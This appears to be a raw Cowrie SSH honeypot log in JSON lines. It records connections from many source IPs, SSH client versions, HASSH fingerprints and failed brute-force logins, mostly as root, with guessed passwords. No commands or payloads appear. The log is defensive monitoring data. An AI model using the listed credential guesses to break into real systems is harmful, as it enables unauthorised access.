{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.477319Z","src_ip":"69.49.246.176","session":"af1329ce5964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"neo123","message":"login attempt [root/neo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.628081Z","src_ip":"69.49.246.176","session":"af1329ce5964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":37884,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d8c72e177d8","protocol":"ssh","message":"New connection: 193.32.162.151:37884 (159.203.135.109:22) [session: 4d8c72e177d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.868830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.873770Z","src_ip":"193.32.162.151","session":"4d8c72e177d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:38.975313Z","src_ip":"193.32.162.151","session":"4d8c72e177d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:39.293916Z","src_ip":"193.32.162.151","session":"4d8c72e177d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:39.660968Z","src_ip":"69.49.246.176","session":"af1329ce5964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:40.395952Z","src_ip":"193.32.162.151","session":"4d8c72e177d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":34398,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb0f8a8b3a88","protocol":"ssh","message":"New connection: 168.144.95.137:34398 (10.17.0.5:22) [session: fb0f8a8b3a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:56.090253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:56.095314Z","src_ip":"168.144.95.137","session":"fb0f8a8b3a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:56.307022Z","src_ip":"168.144.95.137","session":"fb0f8a8b3a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password@3","message":"login attempt [root/password@3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:57.183737Z","src_ip":"168.144.95.137","session":"fb0f8a8b3a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":44718,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b271c15d367","protocol":"ssh","message":"New connection: 103.243.24.124:44718 (10.17.0.5:22) [session: 3b271c15d367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:57.227362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:57.233244Z","src_ip":"103.243.24.124","session":"3b271c15d367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:57.440835Z","src_ip":"103.243.24.124","session":"3b271c15d367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123","message":"login attempt [root/asdasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:57.860548Z","src_ip":"103.243.24.124","session":"3b271c15d367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:58.398109Z","src_ip":"168.144.95.137","session":"fb0f8a8b3a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:28:59.070940Z","src_ip":"103.243.24.124","session":"3b271c15d367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":56292,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5240ae6d4e0","protocol":"ssh","message":"New connection: 154.70.102.114:56292 (10.17.0.5:22) [session: e5240ae6d4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:04.760203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:04.767851Z","src_ip":"154.70.102.114","session":"e5240ae6d4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:04.974755Z","src_ip":"154.70.102.114","session":"e5240ae6d4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reboot","message":"login attempt [root/reboot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:05.824390Z","src_ip":"154.70.102.114","session":"e5240ae6d4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.032958Z","src_ip":"154.70.102.114","session":"e5240ae6d4e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":42734,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a780be2ae8a","protocol":"ssh","message":"New connection: 176.32.39.21:42734 (10.17.0.5:22) [session: 4a780be2ae8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.448344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.452308Z","src_ip":"176.32.39.21","session":"4a780be2ae8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.570855Z","src_ip":"176.32.39.21","session":"4a780be2ae8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":47440,"dst_ip":"159.203.135.109","dst_port":22,"session":"56043ca39eee","protocol":"ssh","message":"New connection: 43.128.106.207:47440 (159.203.135.109:22) [session: 56043ca39eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.927262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.932855Z","src_ip":"43.128.106.207","session":"56043ca39eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"313131","message":"login attempt [root/313131] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:07.937381Z","src_ip":"176.32.39.21","session":"4a780be2ae8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:08.178447Z","src_ip":"43.128.106.207","session":"56043ca39eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:09.060887Z","src_ip":"176.32.39.21","session":"4a780be2ae8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lennon","message":"login attempt [root/lennon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:09.209957Z","src_ip":"43.128.106.207","session":"56043ca39eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:10.460464Z","src_ip":"43.128.106.207","session":"56043ca39eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":51330,"dst_ip":"10.17.0.5","dst_port":22,"session":"a486a9a20bb6","protocol":"ssh","message":"New connection: 103.82.132.16:51330 (10.17.0.5:22) [session: a486a9a20bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:13.004281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:13.009645Z","src_ip":"103.82.132.16","session":"a486a9a20bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:13.278183Z","src_ip":"103.82.132.16","session":"a486a9a20bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amsterdam","message":"login attempt [root/amsterdam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:14.083507Z","src_ip":"103.82.132.16","session":"a486a9a20bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:15.355968Z","src_ip":"103.82.132.16","session":"a486a9a20bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40696,"dst_ip":"10.17.0.5","dst_port":22,"session":"1715e68416d4","protocol":"ssh","message":"New connection: 103.195.236.96:40696 (10.17.0.5:22) [session: 1715e68416d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:17.572077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:17.576596Z","src_ip":"103.195.236.96","session":"1715e68416d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:29:17.821202Z","src_ip":"103.195.236.96","session":"1715e68416d4","protocol":"ssh"}
